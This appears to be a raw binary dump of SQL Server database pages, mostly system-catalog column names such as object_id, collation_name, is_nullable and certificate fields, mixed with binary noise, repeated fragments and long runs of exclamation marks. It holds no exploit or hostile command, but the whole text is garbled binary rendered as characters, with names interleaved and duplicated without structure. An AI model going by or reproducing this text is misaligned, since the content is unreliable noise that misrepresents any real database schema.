Muser_type_id0-w44Imax_length0-w00Gprecision0-w00?scale0-w	hhGis_output0-w
hhOis_cursor_ref0-whhWhas_default_value0-whhSis_xml_document0-w
bbPPOdefault_value0-w88
Wxml_collection_id0-whhKis_readonly0-x88
Gobject_id>	MT
>S-4_1`-)"Tan0-u88
Gobject_id0-u=name0-u88
Gcolumn_id0-u00Qsystem_type_id0-u88
Muser_type_id0-u44Imax_length0-u00Gprecision0-u00?scale0-u	Qcollation_name0-u
hhKis_nullable0-uhhQis_ansi_padded0-uhhOis_rowguidcol0-u
hhKis_identity0-uhhOis_filestream0-uhhOis_replicated0-uhh_is_non_sql_subscribed0-uhhYis_merge_published0-uhhWis_dts_replicated0-uhhSis_xml_document0-u88
Wxml_collection_id0-u88
Wdefault_object_id0-u88
Qrule_object_id0-u@Idefinition0-uhhcuses_database_collation0-uhhMis_persisted0-uhhKis_computed0-uhhGis_sparse0-uhhOis_column_setbgvun4Y|+`I3)	a}ꪮ6}(create_date6}8has_opaque_metadata6}>has_replication_filter6}Hhas_unchecked_assembly_data6}Bis_date_correlation_view6}
,is_ms_shipped6}*is_published6}
,is_replicated6}8is_schema_published6}4is_tracked_by_cdc6}	(modify_date6}name6}$object_id6}2parent_object_id6}*principal_id6}$schema_id6}type6}$type_desc6}4with_check_option6(create_date6
,is_ms_shipped6*is_published68is_schema_published6~name6~$object_id6~*principal_id6~$schema_id6~2parent_object_id6~type6~$type_desc6~(create_date6~	(modify_date6~
,is_ms_shipped6~*is_published6~8is_schema_published6~
4lob_data_space_id6~Bfilestream_data_space_id6~6max_column_id_used6~4lock_on_bulk_load6~0uses_ansi_nulls6~,is_replicated6~>has_replication_filter6~6is_merge_published6~@is_sync_tran_subscribed6~Hhas_unchecked_assembly_data6~4text_in_row_limit6~Jlarge_value_types_out_of_row6~4is_tracked_by_cdc6~0lock_escalation6~:lock_escalation_desc6~*is_filetable!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L">\B
x	H	^	&n	Nv\8vB
F`h)
3516w0is_xml_document6w&max_length6wname6w$object_id6w*parameter_id6w$precision6wscale6w.system_type_id6w*user_type_id6w4xml_collection_id6x	.collation_name6x$column_id6x4default_object_id6x.is_ansi_padded6x,is_column_set6x(is_computed6x4is_dts_replicated6x,is_filestream6x
(is_identity6x6is_merge_published6x<is_non_sql_subscribed6x
(is_nullable6x,is_replicated6x,is_rowguidcol6x$is_sparse6x0is_xml_document6x&max_length6xname6x$object_id6x$precision6x.rule_object_id6xscale6x.system_type_id6x*user_type_id6x4xml_collection_id6y	.collation_name6y$column_id6y4default_object_id6y.is_ansi_padded6y,is_column_set6y(is_computed6y4is_dts_replicated6y,is_filestream6y
(is_identity6y6is_merge_published6y<is_non_sql_subscribed6y
(is_nullable6y,is_replicated6y,is_rowguidcol6y$is_sparse6y0is_xml_document6y&max_length6yname6y$object_id6y$precision6y.rule_object_id6yscale6y.system_type_id6y*user_type_id6y4xml_collection_id6z(create_date6z8has_opaque_metadata6z>has_replication_filter6zHhas_unchecked_assembly_data6zBis_date_correlation_view6z
,is_ms_shipped6z*is_published6z
,is_replicated6z8is_schema_published6z	(modify_date6zname6z$object_id6z2parent_object_id6z*principal_id6z$schema_id6ztype6z$type_desc6z4with_check_option6{(create_date6{
,is_ms_shipped6{*is_published6{8is_schema_published6{	(modify_date6{name6{$object_id6{2parent_object_id6{*principal_id6{$schema_id6{type6{$type_desc6z4is_tracked_by_cdc6|name6|$object_id6|*principal_id6|$schema_id6|2parent_object_id6|type6|$type_desc6|(create_date6|	(modify_date6|
,is_ms_shipped6|*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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!rX&<tB(jB



X
4

v\4fz8

z
R

			|	X	4		tH Z&pLvH$l@zR&p<^B`#).!-B6,0parent_minor_id6,2parent_object_id6,*principal_id6,$schema_id6,type6,$type_desc614xml_collection_id61$schema_id61*principal_id61name61(create_date61(modify_date6:*is_qualified6:
&derivation6:0derivation_desc6:<base_xml_component_id6:2is_default_fixed6:(is_abstract6:(is_nillable6::is_extension_blocked6:6is_final_extension6::is_final_restriction6:,default_value692xml_component_id694xml_collection_id692xml_namespace_id69*is_qualified69name69*symbol_space694symbol_space_desc69kind69	$kind_desc69
&derivation690derivation_desc69<base_xml_component_id69
Bscoping_xml_component_id69&compositor690compositor_desc682xml_component_id684xml_collection_id682xml_namespace_id68*is_qualified68name68*symbol_space684symbol_space_desc68kind68	$kind_desc68
&derivation680derivation_desc68<base_xml_component_id68
Bscoping_xml_component_id682is_default_fixed684must_be_qualified68,default_value672xml_component_id674xml_collection_id672xml_namespace_id67*is_qualified67name67*symbol_space674symbol_space_desc67kind67	$kind_desc67
&derivation670derivation_desc67<base_xml_component_id67
Bscoping_xml_component_id670process_content67:process_content_desc678disallow_namespaces662xml_component_id66$namespace652xml_component_id65*placement_id65@placed_xml_component_id652is_default_fixed65.min_occurences65.max_occurences65,default_value64name64Dremote_service_binding_id64*principal_id648remote_service_name648service_contract_id648remote_principal_id640is_anonymous_on63name63"route_id63*principal_id638remote_service_name630broker_instance63"lifetime63 address63.mirror_address628conversation_handle620to_service_name626to_broker_instance624from_service_name62<service_contract_name62*enqueue_time62@message_sequence_number624message_type_name62	<is_conversation_error62
2is_end_of_dialog62*message_body628transmission_status62
"priority6-name6-.certificate_id6-*principal_id6-@pvt_key_encryption_type6-Jpvt_key_encryption_type_desc6-Fis_active_for_begin_dialog6-(issuer_name6-6cert_serial_number6-	sid6-
&string_sid6- subject6-(expiry_date6-
&start_date6-&thumbprint6-(attested_by6-Bpvt_key_last_backup_date60name60*principal_id602symmetric_key_id60&key_length60,key_algorithm60.algorithm_desc60(create_date60(modify_date60	"key_guid60
.key_thumbprint60,provider_type60Hcryptographic_provider_guid60
Jcryptographic_provider_algid6/key_id6/&thumbprint6/&crypt_type6/0crypt_type_desc6/.crypt_property6.class6.&class_desc6."major_id6.&thumbprint6.&crypt_type6.0crypt_type_desc6..crypt_property0derivation_desc67<base_xml_component_id67
Bscoping_xml_component_id670process_content67:process_content_desc678disallow_namespaces662xml_component_id66$namespace652xml_component_id65*placement_id65@placed_xml_component_id652is_default_fixed65.min_occurences65.max_occurences65,default_value64name64Dremote_service_binding_id64*principal_id648remote_service_name648service_contract_id648remote_principal_id64:Px(d"NT*XV"n	D*<	h	4
	


J
"f
lF
D
n


<(`h.fJ>n~> NBvH>nL&|\D>V*`S)b!6"stopword6(create_date6(modify_date6name6*principal_id6(stoplist_id6
,begin_version6
0cleanup_version6
His_track_columns_updated_on6
4min_valid_version6
$object_id64bounding_box_xmax64bounding_box_xmin64bounding_box_ymax64bounding_box_ymin62cells_per_object6"index_id6*level_1_grid6	4level_1_grid_desc6
*level_2_grid64level_2_grid_desc6*level_3_grid6
4level_3_grid_desc6*level_4_grid64level_4_grid_desc6$object_id68tessellation_scheme62allow_page_locks60allow_row_locks6,data_space_id6(fill_factor64filter_definition6&has_filter6.ignore_dup_key6"index_id6
(is_disabled60is_hypothetical6$is_padded6	.is_primary_key6$is_unique6
:is_unique_constraint6name6$object_id66spatial_index_type6@spatial_index_type_desc68tessellation_scheme6type6$type_desc6$column_id6,is_descending6$object_id60order_column_id6&definition6	@execute_as_principal_id6,is_recompiled60is_schema_bound66null_on_null_input6$object_id60uses_ansi_nulls6@uses_database_collation6>uses_quoted_identifier68fulltext_catalog_id6"index_id6$object_id6 $object_id6 *parameter_id6 *user_type_id6!$column_id6!$object_id6!*user_type_id6#$object_id6#*parameter_id6#4xml_collection_id6$$column_id6$$object_id6$4xml_collection_id6,(create_date6,Bfilestream_data_space_id6,
,internal_type6,6internal_type_desc6,
,is_ms_shipped6,*is_published6,8is_schema_published6,4lob_data_space_id6,	(modify_date6,name6,$object_id6,$parent_id6	"table_id6	(fragment_id6	6fragment_object_id6	$timestamp6	status6	$data_size6	$row_count6$object_id6(assembly_id6name6.system_type_id6*user_type_id6$schema_id6*principal_id6&max_length6$precision6scale6	.collation_name6
(is_nullable60is_user_defined62is_assembly_type6
4default_object_id6.rule_object_id6,is_table_type6:type_table_object_id6*user_type_id6(assembly_id6"0message_type_id6"4xml_collection_id6&service_id62service_queue_id6+name6+*principal_id6+4asymmetric_key_id6+@pvt_key_encryption_type6+Jpvt_key_encryption_type_desc6+&thumbprint6+$algorithm6+.algorithm_desc6+	&key_length6+
sid6+&string_sid6+&public_key6+
(attested_by6+,provider_type6+Hcryptographic_provider_guid6+Jcryptographic_provider_algid6,plan_guide_id6name6(create_date6(modify_date6(is_disabled6&query_text6&scope_type60scope_type_desc6	0scope_object_id6
(scope_batch6&parameters6hints6.referencing_id6:referencing_minor_id64referencing_class6>referencing_class_desc6Dis_schema_bound_reference62referenced_class6<referenced_class_desc6>referenced_server_name6	Breferenced_database_name6
>referenced_schema_name6>referenced_entity_name6,referenced_id6
8referenced_minor_id68is_caller_dependent6*is_ambiguous6Ddatabase_specification_id6name6(create_date6(modify_date6&audit_guid62is_state_enabled6
Ddatabase_specification_id6
0audit_action_id6
4audit_action_name6
class6
&class_desc6
:audited_principal_id6
	.audited_result:\


`
*
			h	Nr xFZ,x,BRd8		N`<pBd2xD^<
n:j>
Lt@0Tr`)x&
*6k$column_id6k(language_id6k$object_id6k<statistical_semantics6k.type_column_id6l<change_tracking_state6lFchange_tracking_state_desc6l.crawl_end_date6l
2crawl_start_date6l&crawl_type6l	0crawl_type_desc6l,data_space_id6l8fulltext_catalog_id6l8has_crawl_completed6l<incremental_timestamp6l&is_enabled6l$object_id6l2property_list_id6l
(stoplist_id6l0unique_index_id6m$column_id6m$object_id6m0stats_column_id6m"stats_id6n*auto_created6n4filter_definition6n&has_filter6n	*is_temporary6nname6n*no_recompute6n$object_id6n"stats_id6n*user_created6o$column_id6o0index_column_id6o"index_id6o4is_descending_key6o6is_included_column6o(key_ordinal6o$object_id6o4partition_ordinal6r2allow_page_locks6r0allow_row_locks6r,data_space_id6r(fill_factor6r4filter_definition6r&has_filter6r.ignore_dup_key6r"index_id6r
(is_disabled6r0is_hypothetical6r$is_padded6r	.is_primary_key6r$is_unique6r
:is_unique_constraint6rname6r$object_id6r path_id6r.secondary_type6r8secondary_type_desc6rtype6r$type_desc6r6using_xml_index_id6r.xml_index_type6rFxml_index_type_description6s2allow_page_locks6s0allow_row_locks6s,data_space_id6s(fill_factor6s4filter_definition6s&has_filter6s.ignore_dup_key6s"index_id6s
(is_disabled6s0is_hypothetical6s$is_padded6s	.is_primary_key6s$is_unique6s
:is_unique_constraint6sname6s$object_id6stype6s$type_desc6t	.collation_name6t$column_id6t4default_object_id6t0increment_value6t.is_ansi_padded6t,is_column_set6t(is_computed6t4is_dts_replicated6t,is_filestream6t
(is_identity6t6is_merge_published6t<is_non_sql_subscribed6t>is_not_for_replication6t
(is_nullable6t,is_replicated6t,is_rowguidcol6t$is_sparse6t0is_xml_document6t&last_value6t&max_length6tname6t$object_id6t$precision6t.rule_object_id6tscale6t&seed_value6t.system_type_id6t*user_type_id6t4xml_collection_id6u	.collation_name6u$column_id6u4default_object_id6u&definition6u.is_ansi_padded6u,is_column_set6u(is_computed6u4is_dts_replicated6u,is_filestream6u
(is_identity6u6is_merge_published6u<is_non_sql_subscribed6u
(is_nullable6u*is_persisted6u,is_replicated6u,is_rowguidcol6u$is_sparse6u0is_xml_document6u&max_length6uname6u$object_id6u$precision6u.rule_object_id6uscale6u.system_type_id6u*user_type_id6u@uses_database_collation6u4xml_collection_id6v
,default_value6v4has_default_value6v
,is_cursor_ref6v	$is_output6v(is_readonly6v0is_xml_document6v&max_length6vname6v$object_id6v*parameter_id6v$precision6vscale6v.system_type_id6v*user_type_id6v4xml_collection_id6w
,default_value6w4has_default_value6w
,is_cursor_ref6w	$is_output6w(is_readonly6q*partition_id6q$object_id6q"index_id6q2partition_number6q hobt_id6qrows6q@filestream_filegroup_id6q2data_compression6q	<data_compression_desc6p6allocation_unit_id6ptype6p$type_desc6p*container_id6p,data_space_id6p(total_pages6p&used_pages6p&data_pages!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6R(lR,P$X<V2Lf:`,d@b6
h2
V(rN4


j
F

xDH


n
@
 
				V	2		d0z ^:z8\F"n>f<fBpJrBv:`2)Y
;a6Yname6Y$schema_id6Y.system_type_id6Y*user_type_id6Zclass6Z&class_desc6Z$column_id6Z	,is_select_all6Z(is_selected6Z&is_updated6Z$object_id6Z8referenced_major_id6Z8referenced_minor_id6Y*principal_id6Y$precision6Yscale6Y.rule_object_id6[name6[$object_id6[*principal_id6[$schema_id6[2parent_object_id6[type6[$type_desc6[(create_date6[	(modify_date6[
,is_ms_shipped6[*is_published6[8is_schema_published6[
(max_readers6[:activation_procedure6[@execute_as_principal_id6[<is_activation_enabled6[6is_receive_enabled6[6is_enqueue_enabled6[:is_retention_enabled6[Vis_poison_message_handling_enabled6\name6\$object_id6\*principal_id6\$schema_id6\2parent_object_id6\type6\$type_desc6\(create_date6\	(modify_date6\
,is_ms_shipped6\*is_published6\8is_schema_published6\
2base_object_name2event_group_type6b<event_group_type_desc6b2is_trigger_event6b$object_id6btype6b$type_desc6c	0broker_instance6c(create_date6c
(creator_sid6c(modify_date6cname6c$object_id6c*parent_class6c4parent_class_desc6c$parent_id6c*principal_id6c*service_name6d(create_date6d(is_disabled6d
<is_instead_of_trigger6d
,is_ms_shipped6d>is_not_for_replication6d	(modify_date6dname6d$object_id6d*parent_class6d4parent_class_desc6d$parent_id6dtype6d$type_desc6e(create_date6e
2is_auto_executed6e@is_execution_replicated6e
,is_ms_shipped6e*is_published6eDis_repl_serializable_only6e8is_schema_published6e	(modify_date6ename6e$object_id6e2parent_object_id6e*principal_id6e$schema_id6e>skips_repl_constraints6etype6e$type_desc6f:constraint_column_id6f:constraint_object_id6f2parent_column_id6f2parent_object_id6f:referenced_column_id6f:referenced_object_id6g(create_date6gDdelete_referential_action6gNdelete_referential_action_desc6g(is_disabled6g
,is_ms_shipped6g>is_not_for_replication6g.is_not_trusted6g*is_published6g8is_schema_published6g0is_system_named6g*key_index_id6g	(modify_date6gname6g$object_id6g2parent_object_id6g*principal_id6g
:referenced_object_id6g$schema_id6gtype6g$type_desc6gDupdate_referential_action6gNupdate_referential_action_desc6h(create_date6h&definition6h
,is_ms_shipped6h*is_published6h8is_schema_published6h0is_system_named6h	(modify_date6hname6h$object_id6h
2parent_column_id6h2parent_object_id6h*principal_id6h$schema_id6htype6h$type_desc6i(create_date6i&definition6i
(is_disabled6i
,is_ms_shipped6i>is_not_for_replication6i.is_not_trusted6i*is_published6i8is_schema_published6i0is_system_named6i	(modify_date6iname6i$object_id6i2parent_column_id6i2parent_object_id6i*principal_id6i$schema_id6itype6i$type_desc6i@uses_database_collation6j(create_date6j
,is_ms_shipped6j*is_published6j8is_schema_published6j0is_system_named6j	(modify_date6jname6j$object_id6j2parent_object_id6j*principal_id6j$schema_id6jtype6j$type_desc6j
0unique_index_id6Y*principal_id6Y$precision6Yscale6Y.rule_object_id6[name6[$object_id6[*principal_id6[$schema_id6[2parent_object_id6[type6[$type_desc6[(create_date6[	(modify_date6[
tBX.j@&&z`N~>2\8zj`)$x	a6],is_cursor_ref6]
$is_output6]&max_length6]name6]$object_id6]*parameter_id6]$precision6]2procedure_number6]	scale6].system_type_id6]*user_type_id6^&definition6^$object_id6^2procedure_number6_.assembly_class6_(assembly_id6_0assembly_method6_@execute_as_principal_id6_6null_on_null_input6_$object_id6`&definition6`	@execute_as_principal_id6`,is_recompiled6`0is_schema_bound6`6null_on_null_input6`$object_id6`0uses_ansi_nulls6`@uses_database_collation6`>uses_quoted_identifier6a2event_group_type6a<event_group_type_desc6a"is_first6a is_last6a2is_trigger_event6a$object_id6atype6a$type_desc6b2event_group_type6b<event_group_type_desc6b2is_trigger_event6b$object_id6btype6b$type_desc6c	0broker_instance6c(create_date6c
(creator_sid6c(modify_date6cname6c$object_id6c*parent_class6c4parent_class_desc6c$parent_id6c*principal_id6c*service_name6d(create_date6d(is_disabled6d
<is_instead_of_trigger6d
,is_ms_shipped6d>is_not_for_replication6d	(modify_date6dname6d$object_id6d*parent_class6d4parent_class_desc6d$parent_id6dtype6d$type_desc6e(create_date6e
2is_auto_executed6e@is_execution_replicated6e
,is_ms_shipped6e*is_published6eDis_repl_serializable_only6e8is_schema_published6e	(modify_date6ename6e$object_id6e2parent_object_id6e*principal_id6e$schema_id6e>skips_repl_constraints6etype6e$type_desc6f:constraint_column_id6f:constraint_object_id6f2parent_column_id6f2parent_object_id6f:referenced_column_id6f:referenced_object_id6g(create_date6gDdelete_referential_action6gNdelete_referential_action_desc6g(is_disabled6g
,is_ms_shipped6g>is_not_for_replication6g.is_not_trusted6g*is_published6g8is_schema_published6g0is_system_named6g*key_index_id6g	(modify_date6gname6g$object_id6g2parent_object_id6g*principal_id6g
:referenced_object_id6g$schema_id6gtype6g$type_desc6gDupdate_referential_action6gNupdate_referential_action_desc6h(create_date6h&definition6h
,is_ms_shipped6h*is_published6h8is_schema_published6h0is_system_named6h	(modify_date6hname6h$object_id6h
2parent_column_id6h2parent_object_id6h*principal_id6h$schema_id6htype6h$type_desc6i(create_date6i&definition6i
(is_disabled6i
,is_ms_shipped6i>is_not_for_replication6i.is_not_trusted6i*is_published6i8is_schema_published6i0is_system_named6i	(modify_date6iname6i$object_id6i2parent_column_id6i2parent_object_id6i*principal_id6i$schema_id6itype6i$type_desc6i@uses_database_collation6j(create_date6j
,is_ms_shipped6j*is_published6j8is_schema_published6j0is_system_named6j	(modify_date6jname6j$object_id6j2parent_object_id6j*principal_id6j$schema_id6jtype6j$type_desc6j
0unique_index_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!nJ0rJd$f4f<|V.
p>pF~:tBJ `l2Z6


^
:
 
|R&hN*



f
(
			p	F		v\4vR tPn0f6
J
R.b>`)5@6type6$type_desc60is_event_logged6(language_id6&message_id6"severity6text6 2configuration_id6 name6 value6  minimum6  maximum6 *value_in_use6 (description6 &is_dynamic6 	(is_advanced6+(database_id6+(create_date6+8compatibility_level6+.collation_name6+@is_ansi_null_default_on6+2is_ansi_nulls_on6+6is_ansi_padding_on6+8is_ansi_warnings_on6+ 2is_arithabort_on6+:4group_database_id6+;<default_language_lcid6+<<default_language_name6+=Ndefault_fulltext_language_lcid6+>Ndefault_fulltext_language_name6+B(containment6+C2containment_desc6*,database_name6*<principal_server_name6*6mirror_server_name6**safety_level6*4safety_level_desc6*>safety_sequence_number6*:role_sequence_number6*.mirroring_guid6*	(family_guid6*
*is_suspended6*Jis_suspended_sequence_number6*6partner_sync_state6*
@partner_sync_state_desc6)name6)type6)$type_desc6),physical_name6((database_id6( file_id6($file_guid6(type6($type_desc6(,data_space_id6(name6(,physical_name6(	state6(
&state_desc6(size6("max_size6(
growth6(6is_media_read_only6(*is_read_only6($is_sparse6(4is_percent_growth6(2is_name_reserved6(&create_lsn6("drop_lsn6(,read_only_lsn6(.read_write_lsn6(<differential_base_lsn6(>differential_base_guid6(>differential_base_time6(.redo_start_lsn6(:redo_start_fork_guid6(0redo_target_lsn6(<redo_target_fork_guid6(&backup_lsn6'name6'*principal_id6'sid6'type6'$type_desc6'(is_disabled6'(create_date6'(modify_date6'	<default_database_name6'
<default_language_name6',credential_id6'8owning_principal_id6'
,is_fixed_role6&4role_principal_id6&8member_principal_id6%class6%&class_desc6%"major_id6%"minor_id6%:grantee_principal_id6%:grantor_principal_id6%type6%0permission_name6%	state6%
&state_desc6$$server_id6$name6$ product6$"provider6$(data_source6$"location6$0provider_string6$ catalog6$	0connect_timeout6$
,query_timeout6$$is_linked6$@is_remote_login_enabled6$
6is_rpc_out_enabled6$>is_data_access_enabled6$@is_collation_compatible6$<uses_remote_collation6$.collation_name6$>lazy_schema_validation6$$is_system6$*is_publisher6$,is_subscriber6$.is_distributor6$:is_nonsql_subscriber6$jis_remote_proc_transaction_promotion_enabled6$(modify_date6#$server_id6#(remote_name6#6local_principal_id6#(modify_date6"$server_id6"6local_principal_id6":uses_self_credential6"(remote_name6"(modify_date6!name6!*principal_id6!sid6!type6!$type_desc6!(is_disabled6!(create_date6!(modify_date6!	<default_database_name6!
<default_language_name6!,credential_id6!4is_policy_checked6!
<is_expiration_checked6!,password_hashging_enabled6+Bsnapshot_isolation_state6+Lsnapshot_isolation_state_desc6+Lis_read_committed_snapshot_on6+.recovery_model6+8recovery_model_desc6+6page_verify_option6+@page_verify_option_desc6+@is_auto_create_stats_on6+@is_auto_update_stats_on6+Lis_auto_update_stats_async_on6+@is_ansi_null_default_on6+2is_ansi_nulls_on6+6is_ansi_padding_on6+8is_ansi_warnings_on6+ 2is_arithabort_on6+:4group_database_id6+;<default6Vhb(D6~H~r
			z
^



>
l
X,2


Z0~

j		

B		|R8"&JR"~DDh<z\"T^>p:,T|f2f>Rx*X>z`-)E	J텇0-t88
Gobject_id0-t=name0-t88
Gcolumn_id0-t00Qsystem_type_id0-t88
Muser_type_id0-t44Imax_length0-t00Gprecision0-t00?scale0-t	Qcollation_name0-t
hhKis_nullable0-thhQis_ansi_padded0-thhOis_rowguidcol0-t
hhKis_identity0-thhOis_filestream0-thhOis_replicated0-thh_is_non_sql_subscribed0-thhYis_merge_published0-thhWis_dts_replicated0-thhSis_xml_document0-t88
Wxml_collection_id0-t88
Wdefault_object_id0-t88
Qrule_object_id0-tbbPPIseed_value0-tbbPPSincrement_value0-tbbPPIlast_value0-thhais_not_for_replication0-thhKis_computed0-thhGis_spar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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dgvun4Y|+`-)"">0-s88
Gobject_id0-s=name0-s88
Eindex_id0-s00=type0-sxxGtype_desc0-shhGis_unique0-s88
Odata_space_id0-shhQignore_dup_key0-s	hhQis_primary_key0-s
hh]is_unique_constraint0-s00Kfill_factor0-shhGis_padded0-s
hhKis_disabled0-shhSis_hypothetical0-shhSallow_row_locks0-shhUallow_page_locks0-shhIhas_filter0-s@Wfilter_definition!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!crBCf)`-)3K)|0-
88
Gobject_id0-
hhkis_track_columns_updated_on0-
Wmin_valid_version0-
Obegin_version0-
Scleanup_version0-88
Gobject_id0-88
Eindex_id0-xx[tessellation_scheme0->>5Wbounding_box_xmin0->>5Wbounding_box_ymin0->>5Wbounding_box_xmax0->>5Wbounding_box_ymax0-44Mlevel_1_grid0-	xxWlevel_1_grid_desc0-
44Mlevel_2_grid0-xxWlevel_2_grid_desc0-44Mlevel_3_grid0-
xxWlevel_3_grid_desc0-44Mlevel_4_grid0-xxWlevel_4_grid_desc0-88
Ucells_per_objectMparameter_id0-#88
Wxml_collection_id0-$88
Gobject_id0-$88
Gcolumn_id0-$88
Wxml_collection_id0-,=name0-,88
Gobject_id0-,88
Mprincipal_id0-,88
Gschema_id0-,88
Uparent_object_id0-,=type0-,xxGtype_desc0-,==Kcreate_date0-,	==Kmodify_date0-,
hhOis_ms_shipped0-,hhMis_published0-,hh[is_schema_published0-,
00Ointernal_type0-,xxYinternal_type_desc0-,88
Gparent_id0-,88
Sparent_minor_id0-,88
Wlob_data_space_id0-,88
efilestream_data_space_id0-`88
Gobject_id0-`@Idefinition0-`hhSuses_ansi_nulls0-`hhauses_quoted_identifier0-`hhSis_schema_bound0-`hhcuses_database_collation0-`hhOis_recompiled0-`hhYnull_on_null_input0-`	88
cexecute_as_principal_id0-r88
Gobject_id0-r=name0-r88
Eindex_id0-r00=type0-rxxGtype_desc0-rhhGis_unique0-r88
Odata_space_id0-rhhQignore_dup_key0-r	hhQis_primary_key0-r
hh]is_unique_constraint0-r00Kfill_factor0-rhhGis_padded0-r
hhKis_disabled0-rhhSis_hypothetical0-rhhSallow_row_locks0-rhhUallow_page_locks0-r88
Yusing_xml_index_id0-rQsecondary_type0-rxx[secondary_type_desc0-rhhIhas_filter0-r@Wfilter_definition0-r00Qxml_index_type0-rxxixml_index_type_description0-r88
Cpath_id0-88
Gobject_id0-=name0-88
Eindex_id0-00=type0-xxGtype_desc0-hhGis_unique0-88
Odata_space_id0-hhQignore_dup_key0-	hhQis_primary_key0-
hh]is_unique_constraint0-00Kfill_factor0-hhGis_padded0-
hhKis_disabled0-hhSis_hypothetical0-hhSallow_row_locks0-hhUallow_page_locks0-88
